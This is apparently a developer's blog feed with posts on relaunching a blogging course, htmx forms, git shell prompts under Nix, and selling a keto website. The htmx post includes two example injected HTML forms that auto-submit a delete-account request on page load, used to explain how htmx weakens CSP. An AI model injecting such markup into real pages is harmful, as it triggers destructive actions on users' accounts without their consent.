Instead, I now keep as much of my equipment connected and ready to record as possible. I keep my microphone on my desk with the mic already hooked up. And I keep my webcam set up on my tripod, ready to drop on my desk.

Record in chapters

As part of my research for the course, I watched Aaron Francis’ screencasting course. His focus is more on live-coding, but enough of the material translates to my course that it was worth the purchase.

I found Aaron’s course helpful, but some of the best lessons weren’t even things that he said. I learned a lot simply from seeing how Aaron packaged his course.

The first iteration of my course consisted of seven lessons that were 30-60 minutes each. Aaron’s lessons are roughly the same length, but he subdivides his lessons into separate chapters of only a few minutes each.

Aaron Francis divides his lessons into short chapters, where each chapter is only a few minutes long.

As a student, I like the short-chapter approach, as it lets me skip to the chapters I’m most interested in.

As a course creator, I also appreciate short chapters because it’s easier to record and edit 10 four-minute videos than it is to make a larger, more unwieldy 40-minute video. Also, when I’m working on videos, it feels better to have five chapters that are 100% complete than to be halfway through editing a 40-minute video.

Make lessons order-independent

When I recorded my course in 2020, my videos all started with something like, “Welcome to part 2: Understanding Hacker News.” And I’d end each video by saying, “In the next video, I’ll talk about how to choose topics to write about.”

Dividing the lessons into chapters for the new recordings naturally meant a larger quantity of videos. If I reorder or delete a video later in the editing process, that would mean re-doing a bunch of intros and outros to keep the numbering and links correct.

After watching Aaron Francis’ course, I realized he never implies an ordering in his videos. I decided to remove the lesson numbers from my videos and avoid mentioning any order. When I reference something that’s in another lesson, I just say, “I talk about that more in the Foo video,” rather than saying, “a later video.”

Buy three of the same shirt

One of the tips from Aaron Francis’ course is to keep a consistent look through every lesson. He wears a solid black T-shirt in all of his videos, and I thought it was a nice touch.

I originally set aside a shirt that I’d change into before each recording session and remove afterwards. I figured that when I put on a shirt on a normal day, I wear it for about 14 hours before I put it in the laundry before bed. That meant I should be able to do about 14 one-hour recording sessions with the same shirt before I have to wash it.

It turned out that I had an inaccurate mental model of shirt smelliness. After just three recording sessions, my shirt began feeling gross.

So, I just bought three of the same shirt:

I ordered three of the same T-shirt for video continuity.

It’s a simple navy Bonobos T-shirt, the same style that I’d wear on a normal day. I figure that having three will mean that at least one is available, even if two are in the laundry.

Magic moments from the live course

I’ve finished teaching all six sessions of my live version of the blogging course, and I had fun teaching it, but there were two moments in particular that stood out.

Bringing in a guest speaker

As I was preparing for the first lecture of the course, I saw Adam Gordon Bell announce on Twitter that his employer had laid him off. Adam is the host of CoRecursive, one of my favorite software podcasts. He’s also a blogger, and he was responsible for the most popular blog posts at his former employer.

Adam had been part of the pilot group of students when I taught the same course in 2020. Seeing that his schedule had suddenly opened up, I asked if he’d like to return to the course as a special guest for a Q&A, and he graciously agreed to join the following week.

The timing was incredible because at the moment he joined the video call in my course, “Hit the Front Page of Hacker News,” Adam had just landed in the #1 slot on Hacker News for his interview with Jeffrey Snover, the lead architect of PowerShell.

The interview was fun for me because I’ve read a lot of Adam’s writing, so it was fascinating to peek behind the curtain and hear more about his approach and how he’s adjusted it over the years.

I also felt an electricity from the students. The degree of enthusiasm actually surprised me because it was only our second class, so it wasn’t like, “Oh, finally, a change of pace.” My best explanation was that the students in the class all knew me, but not everyone knew Adam, so it was interesting to see someone else with a proven track record talk about concepts from the course with his own perspective.

Live teardowns of actual posts

During the course, some of the students asked if we could do an exercise where students shared their writing, and we gave them feedback. Three students shared articles or drafts, and we critiqued them, and they asked if we could do more of that.

In the next class, I opened the floor to volunteers but nobody had anything ready to share. I offered to just visit Hacker News, pick an article, and break down its strengths and weaknesses. That was fun, but I was picking from the front page, which meant that the articles were already doing well. The class suggested I pick brand-new submissions whose fate wasn’t yet known.

The lesson really came alive for me when I started critiquing new submissions. Because it’s easy to look at a submission that succeeded and explain why, but it’s a bigger challenge to look at a submission whose fate is unknown and predict its performance. And because it’s a stranger’s post, and I’m presenting to a private group, I could just say whatever came to mind without worrying about offending the author or being overly picky.

The class also responded more and seemed more engaged when I read the brand new submissions. I’d shown some negative examples during the course, but I think it was interesting to watch in real-time as someone loses interest in an article for things like a boring intro or poor structure.

How can I use magic moments?

After each of the magic moments from class, I thought about how to lean into those more. How could I create more of that and integrate it into the final course?

For the live group Q&A, it’s hard to make that repeatable unless I create a YouTube channel with a team of eight rotating sidekicks. But a decent approximation is 1:1 video interviews with writers I like, and I think that’s more achievable.

Expert interviews are, uncoincidentally, something that Aaron Francis uses to promote his courses:

Aaron Francis publishes long-form interviews with experts in the domain of SQLite as a way to build interest in his upcoming course about SQLite.

The live teardowns, on the other hand, are easy to replicate. I could just turn on my camera right now and record my stream of consciousness as I read Hacker News submissions. I’m not sure if that would be entertaining, but it’s quick and easy to experiment with that idea.

Is Merchant of Record a scam?

Last week, LemonSqueezy, one of the few payment processors that supported Merchant of Record, announced that Stripe had acquired the company. In the Hacker News thread, one comment caught my eye:

I find the whole aspect of having MoR a fear mongering tactic to get you to pay extra transaction fees

99% of SaaS won’t reach the MRR needed to justify MoR

Of the 1% those breaking through 7 digit MRR can simply hire in house to manage tax remittance and not confuse their customers with invoices labelled with MoR’s branding

I asked my accountant, and he confirmed that for most US states, the minimum threshold I have to hit to owe sales tax on a digital product is around $100k or 100 transactions per year, depending on the state.

In populous states like California or New York, the minimum is $500k. If I reach the point where I’m exceeding enough states’ minimums that it’s a pain for me to pay sales tax, I can hire an accountant with the hundreds of thousands of dollars I’m earning from sales.

I’d been planning to sell on Gumroad, largely for their Merchant of Record feature. But Gumroad charges a 10% commission, and that doesn’t even include payment processing fees.

Given how unlikely it is for me to meet sales tax thresholds outside of my home state of Massachusetts, it means I can sell my courses outside of Gumroad and save myself the 10%.

Side projects

Finding my preferred pattern for htmx forms

In my last retrospective, I talked about how I’d begun using htmx and liked it, but I found its error handling awkward.

As an example, here’s a form on ScreenJournal, my movie review web app.

A simple HTML form from the ScreenJournal web app.

When the user submits the form, there can only be two results:

The settings are saved successfully.
There was an error when processing the request.

htmx’s idiomatic way to handle this is that when the user submits the form, the server responds with the HTML for the entire form, repopulated with the values the user submitted and with any success or error message added.

I find htmx’s recommended pattern for forms awkward and bug-prone. The browser already has the form populated correctly, so why would the server give the entire thing back for the browser to render again? The only new information is a success message or an error message, so why can’t the server send that and only that?

Here’s my slightly adjusted htmx pattern applied to the ScreenJournal form above to make htmx’s functionality more lightweight:

<form
 hx-put="/account/notifications"
 hx-clear="#result-success, #result-error"
 hx-disabled-elt="input, .btn"
 hx-target="#result-success"
 hx-target-error="#result-error"
 hx-swap="textContent"
>
 <label class="form-check-label" for="new-reviews-checkbox">
 Email me when users post reviews
 </label>
 <input
 class="form-check-input"
 type="checkbox"
 id="new-reviews-checkbox"
 name="new-reviews"
 />

 <label class="form-check-label" for="all-comments-checkbox">
 Email me when users add comments
 </label>
 <input
 class="form-check-input"
 type="checkbox"
 id="all-comments-checkbox"
 name="all-comments"
 />

 <button class="btn btn-primary" value="Save">Save</button>

 <div class="spinner-border htmx-indicator" role="status">
 <span class="visually-hidden">Loading...</span>
 </div>
</form>
<div id="result-success" class="alert alert-success" role="alert"></div>
<div id="result-error" class="alert alert-danger" role="alert"></div>

The heavy lifting is in the <form> tag, so I’ll break down what’s happening:

hx-put="/account/notifications"

When the user submits the form, make an HTTP PUT request to the /account/notifications route on the server.

hx-clear="#result-success, #result-error"

When the user submits the form, clear the contents of the elements with IDs result-success or result-error.

This attribute isn’t part of htmx but from a custom extension that I wrote called clear-before-send. I use it in conjunction with the CSS rule .alert:empty { display: none } to hide <div> tags with the alert class when they contain no text.

hx-disabled-elt="input, .btn"

During the HTTP request, disable all <input> tags and elements with the .btn CSS class so that the user can’t double-submit the same request.

Sidenote: The htmx documentation implies that hx-disabled-elt="this" should disable the whole form, but it doesn’t seem to work. As a workaround, I have to use selectors that match all inputs in the form.

hx-target="#result-success"

If the server responds with a status code in the 200-range, put the body of the server’s response in the element with ID result-success.

hx-target-error="#result-error"

If the server responds with a status code outside of the 200-range, put the body of the server’s response in the element with ID result-error.

This attribute isn’t part of the core htmx library but from an htmx extension called response-targets.

hx-swap="textContent"

When populating the target of hx-target or hx-target-error, htmx should replace the textContent of the target element (as opposed to replacing its inner or outer HTML).

Here’s the result. I’ve adjusted the dev server so that it waits two seconds to respond, and every other request fails with an error message:

Your browser does not support the video tag.

Manage notifications screen on ScreenJournal

The things to note are:

When the request is in-flight, htmx disables the form.
The previous success/error message disappears as soon as the user clicks “Save” again.
The success and error messages have different styles.

So, it’s a pretty good amount of functionality without having to write custom JavaScript for each form. I wish this was the way HTML had evolved instead of requiring third-party libraries for such common functionality, but I’m happy that htmx is filling the gap.

Wrap up

What got done?

Sold Is It Keto through this blog for $2k.
Completed teaching my live course about blogging.
Created my first htmx extension.
Created Personal Best, a marketing tool for my course.

Lessons learned

Look for opportunities to reduce friction from the process of recording videos.
I can promote the course by publishing interviews with talented bloggers and teardowns of blog posts.
Most indie founders in the US probably don’t need Merchant of Record.

Goals for next month

Finish recording my course.
Begin selling my course.

GUIs are Antisocial

Fri, 12 Jul 2024 00:00:00 +0000

Last week, I was listening to the CoRecursive podcast interview with PowerShell’s lead architect, Jeffrey Snover.

One moment in that interview has been stuck in my head the whole week is when Snover argues that graphical user interfaces (GUIs) are inherently “antisocial”:

I realized that — you know, that the mouse is antisocial. The GUI is antisocial. So what’s that mean? You have a problem to solve, and you solve it with the GUI. What do you have? A problem solved.

But when you solve it with a command line interface in a scripting environment, you have an artifact. And all of a sudden, that artifact can be shared with someone.

By the way, the way you did it can show cleverness. I’ve never seen anybody use a GUI in a clever way. Ever. There’s no cleverness to it. No, like, “Oh my god, you should see the way Adam clicked that mouse. Oh my god. Guys, guys, guys, guys, come on! Check it out: Adam’s going to click the button! Oh my god! That’s amazing!” It just doesn’t happen.

Snover contrasts this with the reaction to seeing an impressive command-line script:

It’s like, “Oh my god! Did you see what Proust did? That’s phenomenal! This guy’s a frickin’ genius.” And then, “Hey, give that to me. I’m going to steal that technique and apply it to my code.” Or then I have this artifact, and I publish it, and people are using it. There’s a debt of gratitude. Like, they owe me a beer.

…

And so it’s a social environment. Anyway. It really was this moment — like, “Man, we are having a blast!”

I enjoyed Snover’s framing because people often recognize that scriptable interfaces are more composable and reusable than GUIs, but I hadn’t thought about how scripting feels more human in certain ways.

Scripting allows people to express creativity and ingenuity in a way that GUIs don’t. And there’s cross-pollination with scripting where people can have fun learning techniques from each other, which doesn’t happen with GUIs.

Educational Products: Month 1

Thu, 11 Jul 2024 00:00:00 +0000

Highlights

I’m rebooting my blogging course from 2020.
htmx is pretty good but not everything I wish it could be.
I’m looking for a buyer for Is It Keto, my old keto website.

Rebooting Hit the Front Page

In 2020, I created a video course about blogging called “Hit the Front Page of Hacker News.” I was proud of the course material, and I heard positive feedback from students, but I felt like I never gave it the attention it deserved.

When I released the course, TinyPilot was growing quickly, and I didn’t have time to market the course or iterate on the material.

In my last blog post, I surveyed readers about what they’d like to see me do next. Of the people who expressed interest in seeing me teach something, here were the results:

Responses to the reader survey in my last blog post

There are different ways to interpret the data, but my takeaway is that people were especially interested in having me teach writing techniques. I was surprised that deliberate practice was a top answer as well, albeit with slightly less enthusiasm.

I decided that because my existing course was already so close to done and it ranked #2 or #3, depending on how you count, I should dust off that material and re-release an updated version for 2024.

Finding a group of pilot program students

Rob Fitzpatrick’s book Write Useful Books heavily influenced my approach to educational products. He argues that you should always teach a topic live before releasing a book or video course because you want to iterate based on feedback from real students.

My wife and I are also expecting our first baby at the end of August, and when that happens, I plan to disappear for a few months for family time. At the time I was considering this, I had about 10 weeks until our baby’s due date, and the course was six weeks, so I didn’t have much buffer.

I wrote a blurb about the course and emailed my blog subscribers, asking people to fill out a short application if they were interested. When people filled out the application, I sent personalized replies about what they said in their application and sent them the link to payment to secure their spot.

Here are the results:

1,944 subscribers received the email about my course.
11 people filled out a survey to express interest.
7 people purchased the course.
- Of the 4 who didn’t sign up after the survey, 3 were due to timeslot conflicts.

Finding a video platform

I was surprised to find that there aren’t really viable alternatives to Zoom for video calls. I’ve avoided Zoom ever since they were caught lying about their security, but they seem to be the only game in town for live courses.

I’ve used Jitsi Meet for work meetings for the past few years, and I’ve had a mostly good experience with it, but I’ve noticed that quality is better when I attend Zoom meetings. I was hoping to find a paid tier of Jitsi Meet, but all of their paid options are priced at “Contact Us,” which likely means at least $1k/month.

So, Jitsi’s fine, albeit a little clunky. It doesn’t support recording, so my workaround is to:

Host the class video call on my laptop.
Join the call from my desktop.
From my desktop, record the call using regular screen-recording software.
Upload the video to PicoShare.
Email the PicoShare link to the class.

It’s more complex than I’d like, but it does have the side benefit that I can look at my desktop monitor and see everyone’s faces even though the slides I’m presenting take up my whole screen.

If you know of a better alternative to Jitsi Meet, let me know.

Should I pivot away from Hacker News?

About half the students who joined the course said that they’re not especially interested in Hacker News. They just liked my writing and wanted to learn more about my process, so they signed up in spite of the Hacker News focus.

Looking back at the survey data, there seems to be more interest in writing in general than there is for blogging in particular. And nobody requested Hacker News specifically.

So, I’m wondering if I should pivot away from Hacker News and shift to something more general.

My worry about pivoting from Hacker News is that I’ll lose my edge. There are a million people teaching about blogging or writing, so I don’t feel like I can stand out in that pool. If I teach Hacker News specifically, I’m the world’s best teacher in that domain because nobody else is doing that.

The other issue with pivoting away from Hacker News is that most of my evidence of blogging success is around Hacker News. Among personal bloggers, I’ve had unusual success on Hacker News. If I teach a more general writing course, I have less impressive credentials. I don’t make money from my blog or have a massive subscriber count to boast about.

At the same time, I think most people who purchased my course were people who found me first and then found my course. They probably didn’t search for the world’s foremost expert on Hacker News.

Maybe the takeaway is that I should worry less about competing with a large pool of other people because no matter what, the path to my course is probably going to be through me or through word of mouth.

I’m 95% done with the course in its original Hacker News format, so I’m going to release this one focusing on Hacker News. After that’s done, I’ll adapt the material for a more general course.

Learning htmx

For the past two years, htmx has been popping up on my radar more and more. My friend Cory Zue uses htmx, so it piqued my interest.

For the longest time, the biggest hurdle was just that I didn’t get the point of htmx.

One of the first lines in htmx’s landing page is, “Why should only <a> & <form> be able to make HTTP requests?” When I read that, I felt like, “Yeah, it’d be nice, but JavaScript can make any HTML element send any kind of request. Do I need to adopt a whole new methodology to avoid a few lines of JavaScript?”

What finally made htmx click for me was the book, Hypermedia Systems. It’s written by the same authors of htmx, and it explains the motivation for htmx and gives detailed explanations of several scenarios where you can use it.

If I had to pitch htmx to myself four years ago, here’s what I’d say.

My pitch for htmx, to my past self

Remember how when you first learned to program websites, you’d write HTML like this?

<form action="/users" method="POST">
 <input name="first-name" placeholder="First name" />
 <input name="last-name" placeholder="Last name" />
 <input type="submit" value="Add user" />
</form>

Today, you wouldn’t write that because you want to avoid reloading the entire page when the user submitted the form. The full-page reload is slow and disorienting, especially if all you wanted to do is show a message that says, “User added successfully.” And you don’t want to blow away all the user’s input if the server rejects the input.

So, instead, you’d turn to JavaScript and do something like this:

document.addEventListener("DOMContentLoaded", () => {
 document.querySelector("form").addEventListener("submit", (evt) => {
 evt.preventDefault(); // Block default submit.
 fetch(`/users`, {
 method: "POST",
 credentials: "include",
 headers: {
 Accept: "application/json",
 },
 body: JSON.stringify({
 firstName: document.querySelector("[name='first-name']"),
 lastName: document.querySelector("[name='last-name']"),
 }),
 })
 .then((response) => {
 if (response.ok) {
 return response.json();
 }
 // TODO: Handle errors too.
 })
 .then((result) => {
 // TODO: Handle success.
 });
 });
});

It’s not a ton of JavaScript, but you rewrite it every time you need a form. And you can refactor the repeated code, but that spreads UI logic across several files. It’s extra friction for every client interaction with the server.

Or maybe you’d turn to a heavy framework like React or Vue, and now there are countless layers of JavaScript abstraction between your code and what appears in the browser.

The promise of htmx is a return to the simplicity of when you first learned to make web pages. Instead of writing HTML and then offloading all of the logic to React or hand-written event handlers, you’d fold htmx into your app and then write your form like this:

<form hx-post="/users" hx-target="this">
 <input name="first-name" placeholder="First name" />
 <input name="last-name" placeholder="Last name" />
 <input type="submit" value="Add user" />
</form>

And then htmx makes everything just work without you having to write any custom JavaScript.

My experience with htmx so far

To test out htmx, I’ve been rewriting parts of ScreenJournal using htmx. ScreenJournal is my open-source movie review app. It’s like Goodreads for movies. Or it’s like letterboxd, but open-source and ugly.

ScreenJournal is my hobby project web app for reviewing movies.

A good example of my rewrite was reimplementing the notification preferences page with htmx. I’ve got a page that allows users to specify which emails they’d like to receive:

Page on ScrenJournal for controlling notifications

The notifications page required a lot of custom JavaScript to do the following:

Submit the form contents via fetch rather than reloading the page.
Disable the form for input while the request is in-flight.
Show a status spinner while the request is in-flight.
Show an error message if the request fails.

And here’s the transition from vanilla JavaScript to htmx:

Before (113 lines)
After (85 lines, 25% smaller)

It’s fewer lines of code overall, and it’s especially fewer lines of JavaScript. It moves logic from the frontend to the backend, which I prefer, as I find backend code easier to test than UI code.

Here are some of my takeaways so far from using htmx:

htmx adds an abstraction layer, but it’s intuitive

With Vue and Angular, I had no idea how it was transforming my code into a web app.
With htmx, the behavior is intuitive enough that I could probably reimplement htmx myself based on the way I see it work.

htmx’s error handling is underwhelming

htmx’s model assumes that you send a request to the server and then place the server’s response in a single element on the page.
The problem is that on success, I want to replace the HTML form, but on error, I want to leave the form untouched and show an error below the form.
htmx’s answer is that the server should just re-render the HTML form with all the user’s input, but I don’t like that as it’s re-rendering from scratch something that was already there, and it expands surface area for XSS vulnerabilities.
I can work around this by writing my own event handlers, but at that point, it feels like I’m fighting the framework a little bit.

htmx weakens Content Security Policy (CSP)

I like CSP as a last line of defense for preventing cross-site scripting (XSS).
htmx is mostly compatible with CSP, but because htmx does so much, an attacker gaining the ability to write custom HTML is effectively the same as the attacker gaining the ability to write arbitrary JavaScript.
Examples
- <form action=https://mtlynch.io/delete-account" method="post" onload="this.submit()">
  - CSP will prevent this code from executing.
- <form hx-post="/delete-account" hx-trigger="load">
  - CSP will allow this equivalent code to execute.
You can still write secure applications using htmx, but it does prevent CSP from being a reliable last line of defense against XSS.

Selling Is It Keto

I noticed this week that Amazon, at some point, changed the way they do affiliate links, which broke 90% of the affiliate links on Is It Keto. The site still earns money from Google AdSense, but I no longer have time to maintain it.

I’m looking for someone to purchase the site, and I’ll sell it for below market value if I get a cool offer from another indie founder or aspiring entrepreneur.

Wrap up

What got done?

I started teaching my blogging course to a small cohort of students.
I learned htmx by porting a lot of ScreenJournal to htmx.
I recorded the first bonus content for the course.

Lessons learned

I’m not as bound to the Hacker News angle of my course as I thought.
- If people are going to take my course, they’re probably going to do it because they like what I write rather than how well it performs on Hacker News, so I should think more about what that customer is like.

Goals for next month

Record publishable versions of four lessons from the course.
Start selling the new version of the course.

Requests for help

Video call platform

Let me know if you have suggestions for a video call platform that meets these criteria:

Must: Support up to 10 attendees for 90-minute calls.
Must: Allow participants to join the call without creating a new account or installing software on their device.
Must: Cost $80/mo or less.
Nice to have: Allows me to record video calls.

Experience with course platforms

Let me know if you’ve had experience as an instructor or student on course platforms like Maven or Udacity.

Want to Buy Is It Keto?

Thu, 11 Jul 2024 00:00:00 +0000

Update (2024-07-12): I’ve received more inquiries than I expected, so I’m now closing applications.

I’m looking for someone to take over my old content website, Is It Keto.

Is It Keto is for sale

I worked on the site on and off between 2019 and 2020, but I no longer have time for it, so it’s just been neglected for the past several years. Still, it consistently earns $1-2k/yr in fully passive revenue.

Stats for last six months

From January 1, 2024 until June 30, 2024, here are the key stats for the site:

Unique visitors: 53k
Total pageviews: 128k
Revenue from Google AdSense: $947.51
Revenue from Amazon Affiliate program: $139.30
Total revenue (last six months): $1,086.81
- $1,793.20 in last 12 months
Ahrefs domain rating (current): 18

Asking price

I’m looking for a minimum price of $1k.

This is below market value, as I’m more interested in selling the site to someone who wants to do something interesting with it.

Ideal buyer

In short, I want to sell to someone who wants to continue building the site and doesn’t require hand-holding.

I’d like to sell to someone who is:

Interested in entrepreneurship.
Comfortable working with JavaScript and HTML code, especially Vue 2.
Interested in growing the site.
- You don’t have to make it your full-time job, but I’m hoping to sell to someone who wants to try new things with the site rather than just sit back and collect revenue.
Bonus: You have a history of building in public.

I don’t want to sell to someone who uses spammy tactics or deceives users for growth. A lot of other diet sites monetize by tricking users into purchasing snake oil, and I’ve always hated that.

I can’t control what you do after you take over the site, but I’ll give preference to buyers who have a track record of operating ethically.

What’s appealing about the business?

It’s a static site, so it’s inexpensive to host.
- It fits into the free tier of most static hosting platforms.
As a static site, it’s also low-maintenance, as there’s no server or database to manage.
All the build steps are already in CI, so there’s no magic to learning to build the site.
There’s low-hanging fruit to increase the revenue, as I haven’t updated Amazon affiliate links in years, and most pages are missing affiliate links entirely.

What are the risks with the business?

It’s the kind of content that LLMs are trying to dominate.
- It’s possible that in a year, everyone will ask an LLM which foods are keto rather than use a website.
The site is built on an obsolete JavaScript framework.
- It will take a few hours of work to port the code to something more modern.
The keto diet is fading in popularity, so a keto diet site will shrink with it.

Tech stack

Gridsome / Vue2
- Gridsome is a static site generator built on top of Vue2.
- Gridsome is defunct, but the tool still builds the site without issue.
CircleCI
- Automatically runs linters and end-to-end tests on every commit.
- Automatically builds and publishes site to Netlify on every commit to the main branch.

Gridsome is slow, but all of the content is in Markdown, so you can easily port it to another static site generator. It should be easy to port it to a more modern Vue-based static site generator like Nuxt Content. There are only ~2,000 lines of Vue code in the project.

Hosting

I currently host Is It Keto on Netlify.

What you get

Transfer of isitketo.org domain
Transfer of admin of Google Analytics for isitketo.org domain
Transfer of admin of Google Search Console for isitketo.org domain
Is It Keto’s Twitter account
Is It Keto’s Pinterest account
Is It Keto web app git repository
Keto Recipe Search git repositories
- This is an old web application that’s a sister site to the main Is It Keto website hosted on a subdomain.
- The code is old and bad, and it’s probably more trouble than it’s worth to switch hosts.
- I’ll give you the code, but I don’t guarantee that you’ll be able to use it to redeploy the recipe search feature.
Assignment of all Is It Keto copyrights
- Including source code, content, and custom graphics
Two 1:1 one-hour video calls with me to ask questions about the code or the business.

What you don’t get

Access to my Google AdSense account
- You will need to create your own and replace the account ID in the Is It Keto source code.
Access to my Amazon Affiliate account
- You will need to create your own and replace the account ID in the Is It Keto source code.
Access to my Netlify account, where I host Is It Keto
- You will point the domain name at a different host, and I’ll turn down my copy.
Historical Google Analytics data
- I lost most analytics data prior to 2024 in the switch to GA4.
Any historical emails related to Is It Keto
Control over what I say about Is It Keto.
- I will keep writing I’ve published about Is It Keto online.
Guaranteed backlinks from mtlynch.io
- Is It Keto currently has a lot of backlinks from this blog. I have no plans to remove those links, but I don’t guarantee that I’ll keep them live forever.

Payment

I’ll accept payment through an escrow service like escrow.com. If I know you or someone I know vouches for you, I’m open to skipping escrow. If you’re open to paying in ETH or USDC, we can skip escrow.

Inquiries

Update (2024-07-12): Applications are now closed

Configure a Git Shell Prompt Under Nix

Wed, 03 Jul 2024 00:00:00 +0000

I recently read Julia Evans’ latest zine about git, and one of her tips was to configure your terminal shell prompt to show the git status.

Julia’s terminal prompt looks like this:

~/work/homepage (main) $

main is Julia’s current git branch. When she’s in the middle of a git operation like bisect or merge, the terminal changes to this:

~/work/homepage (main|MERGING) $

It had never occurred to me to customize my shell prompt, but I immediately recognized the value.

I constantly run git status to remember which branch I’m in, and I often forget that I’m in the middle of a git merge.

Setting up git prompts in my terminal

Julia’s zine convinced me to customize my terminal shell to include my git status, but it wasn’t obvious how to do it. Apparently, I needed a file called git-prompt.sh, but it wasn’t available in my Debian install with git 2.30.2:

$ find / -name 'git-prompt.sh' -type f -print
# No results

The other option was to download an official copy of git-prompt.sh from GitHub:

# Download git-prompt.sh
curl https://raw.githubusercontent.com/git/git/master/contrib/completion/git-prompt.sh > ~/.git-prompt.sh

# Add it to my .bashrc
echo '. ~/.git-prompt.sh' >> ~/.bashrc

# Reload .bashrc
. ~/.bashrc

To test whether it was working, I created a scratch git repo:

mkdir examplerepo && \
 cd examplerepo && \
 git init

If git-prompt.sh was working correctly, the __git_ps1 command should display the current git branch:

$ __git_ps1
(master)

Great! It works.

But I don’t want to call __git_ps1 manually all the time — I want the branch to appear in my terminal prompt automatically like Julia Evans showed.

The simplest way to show my git status in my terminal shell is to overwrite the PS1 variable in my bash session:

$ export PS1='$(__git_ps1 "(%s)") \$ '
(master) $

Now, when I perform git commands, the terminal changes to reflect the status:

(master) $ echo 'hi' > hello.txt && git add -A && git commit -m "Test commit"
[master (root-commit) 7b14d2a] Test commit
 1 file changed, 1 insertion(+)
 create mode 100644 hello.txt
(master) $ git checkout -b branchA && echo 'hey' > hello.txt && git add -A && git commit -m "test A"
Switched to a new branch 'branchA'
[branchA 65b3d63] test A
 1 file changed, 1 insertion(+), 1 deletion(-)
(branchA) $ git checkout master
Switched to branch 'master'
(master) $ git checkout -b branchB && echo 'hello' > hello.txt && git add -A && git commit -m "test B"
Switched to a new branch 'branchB'
[branchB 198c875] test B
 1 file changed, 1 insertion(+), 1 deletion(-)
(branchB) $ git merge branchA
Auto-merging hello.txt
CONFLICT (content): Merge conflict in hello.txt
Automatic merge failed; fix conflicts and then commit the result.
(branchB|MERGING) $

Cool, that looks like it’s working.

But I missed seeing my working directory in my shell prompt, so I changed PS1 to this:

$ export PS1='\w $(__git_ps1 "(%s)") \$ '
~/examplerepo (branchB|MERGING) $

I also missed having nice colors, so I added them as well:

export PS1='\[\033[01;34m\]\w\[\033[00m\]\[\033[01;32m\]$(__git_ps1 " (%s)")\[\033[00m\]\$ '

At this point, editing the PS1 command is complicated enough that I recommend using a free tool like Bash Prompt Generator to create the command and add in the colors for you.

Here’s what my final terminal prompt looks like:

~/examplerepo (branchB|MERGING)$

To make that change permanent, I added my export PS1 line to my ~/.bashrc file, and now I have my custom terminal every time I start a new bash shell.

Integrating git into the bash shell prompt on Nix

The problem with all the steps above is that I use Nix and Home Manager, which is nice but also makes everything about my bash configuration more complicated. I couldn’t simply add a line to my .bashrc because Home Manager would blow away my changes next time I ran it.

Fortunately, this post by Jeff Kreeftmeijer helped me understand how to adapt the git-prompt.sh solution to Nix.

I modified my home.nix file for Home Manager with the following:

 programs.bash = {
 enable = true;
 enableCompletion = true;
 initExtra = ''
 # Load __git_ps1 bash command.
 . ~/.nix-profile/share/git/contrib/completion/git-prompt.sh
 # Also load git command completions for bash.
 . ~/.nix-profile/share/git/contrib/completion/git-completion.bash

 # Show git branch status in terminal shell.
 export PS1='\[\033[01;34m\]\w\[\033[00m\]\[\033[01;32m\]$(__git_ps1 " (%s)")\[\033[00m\]\$ '
 '';
 };

Once I updated the file, I ran home-manager switch, it updated my .bashrc, and everything worked as expected.

Eliminating Nix terminal cruft in my development environments

Still, there was one last wrinkle in my custom bash terminal prompt.

I do all of my development in per-project Nix shells. When I ran nix develop to load my development environment, I saw that Nix had added an extra prefix to my terminal:

~/examplerepo (branchB|MERGING) $ nix develop
...
(nix:nix-shell-env) ~/examplerepo (branchB|MERGING) $
^^^^^^^^^^^^^^^^^^^ why?

That prefix ate up a lot of real estate. Almost half of the terminal prompt was now just telling me that I’m in a Nix environment.

In certain projects, Nix’s shell prompt prefix was even longer. This is what I saw in PicoShare:

~/examplerepo (branchB|MERGING) $ nix develop
...
(nix:nix-shell-x86_64-unknown-linux-musl-env) ~/picoshare (master)$
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ too much!

I’m now losing a ton of screen space to that shell prefix. How do I get rid of that?

It turns out that nix develop has a --bash-prompt-prefix flag that allows me to customize the terminal shell prefix like this:

$ nix develop --bash-prompt-prefix 'nix:'
nix:~/picoshare (master)$

If I don’t want it at all, I can set it to the empty string:

$ nix develop --bash-prompt-prefix ''
~/picoshare (master)$

But obviously, I’d rather not add this extra command-line flag every time I run nix develop.

I realized that this cruft is actually coming from my nix.conf file, which on my Debian system is at /etc/nix/nix.conf. I guess the Determinate Systems Nix installer chose that prefix for me:

$ grep 'bash-prompt-prefix' /etc/nix/nix.conf
bash-prompt-prefix = (nix:$name)\040

I changed the line to the more concise nix: prefix:

bash-prompt-prefix = nix:

Then, I restarted Nix to apply the change:

sudo systemctl restart nix-daemon

Now, when I’m in a Nix development environment, I see a short, helpful prefix like this:

nix:~/picoshare (sqlite-performance)$

Summary

When I do software development work, it’s helpful to customize my terminal shell so that I can see the git status of my directory on every shell prompt.

I hope this post helps others who want a similar configuration to mine on regular bash systems as well as on systems where Nix and Home Manager manage bash settings.

Reset Month

Sun, 30 Jun 2024 00:00:00 +0000

No update this month

I’m skipping my normal retrospective this month, as I sold TinyPilot and am taking some time to figure out my next project.

Retrospectives will resume in July.

Join My Six-Week Blogging Course

Thu, 20 Jun 2024 00:00:00 +0000

I’m teaching a small-group, live course about attracting readers to your blog through Hacker News. Sign up by Monday (June 24th) to reserve your slot.

Why take a class with me?

My blog receives 300k-500k unique readers per year. After Google, Hacker News is the primary way that new readers find my writing.

My blog receives 300k-500k unique readers per year, with Hacker News largely connecting me with new readers.

In the past five years, 40+ of my posts have reached the front page of Hacker News. Seven of them have landed in the #1 spot.

It wasn’t always this way. I started blogging in 2016, and it took me years of sending my articles into the void before I figured out how to connect my writing with large audiences.

I frequently see smart, talented writers who struggle to find an audience for their writing, so I want to teach you what I’ve spent the last eight years learning.

Curriculum

Lesson 1: Understanding Hacker News

Thursday, June 27th, 2024 at 10 AM ET

Hacker News has its own distinctive culture. Before you can succeed there, it’s important to understand its rules, etiquette, and conventions.

In this lesson, I’ll explain the culture of Hacker News, why it’s a great platform for sharing certain types of writing, and how to avoid missteps that will get you banned.

Lesson 2: Choosing the Right Topics

Thursday, July 4th, 2024 at 10 AM ET

It doesn’t matter how good your article is if you pick a topic that’s a poor match for Hacker News.

In this lesson, I’ll share article topics that work well on Hacker News and show you how to avoid wasting time on articles that have a low probability of success.

Lesson 3: Finding a Plan B

Thursday, July 11th, 2024 at 10 AM ET

If your only plan for sharing your writing is submitting it to Hacker News, you’re going to get your heart broken a lot.

In this lesson, I’ll show how to find other channels for your articles if they don’t receive attention on Hacker News.

Lesson 4: Elevate Your Writing

Thursday, July 18th, 2024 at 10 AM ET

Want an unfair advantage over everyone else on Hacker News? Invest in your writing.

